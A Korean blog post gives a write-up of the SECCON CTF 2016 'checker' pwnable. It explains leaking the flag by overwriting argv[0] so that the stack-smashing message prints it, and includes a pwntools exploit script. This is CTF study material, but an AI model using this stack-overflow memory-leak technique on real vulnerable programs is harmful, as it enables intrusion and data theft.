Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

SECCON CTF 2016 checker 본문

Security/Pwnable

SECCON CTF 2016 checker

Cdor1 2017. 1. 11. 18:23

후기 : 내부에서 플래그를 읽어와 .bss섹션에 저장하는 변수가 있고 오버플로우 백터가 있다.

read에서 널바이트를 검사해 삭제하니 입력받을때 맨 마지막에 붙여서 들어가는 '\x00'를 이용해서

argv[0]포인터를 전부 널로 정리하고 플래그 주소로 덮어써서

*** stack smashing detected ***: ./checker terminated -> 

*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated

이렇게 만드는 재밌는 문제였다 ㅎ


from pwn import *
s = remote('checker.pwn.seccon.jp', 14726)
print s.recvuntil('NAME : ')
s.sendline('cdor1')

for i in range(8):
	print s.recvuntil('>> ')
	s.sendline('A' *(384 - i))

print s.recvuntil('>> ')
s.sendline('yes')
s.recvuntil('FLAG : ')
s.sendline('A'*376 + '\xc0\x10\x60')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

H3X0R CTF ezheap  (0) 2017.01.12
BoB CTF casino  (0) 2017.01.12
Plaid CTF 2015 prodmanager  (0) 2017.01.11
H3X0R CTF train to busan  (0) 2017.01.11
HITCON Qual 2016 House of orange  (0) 2017.01.10
Comments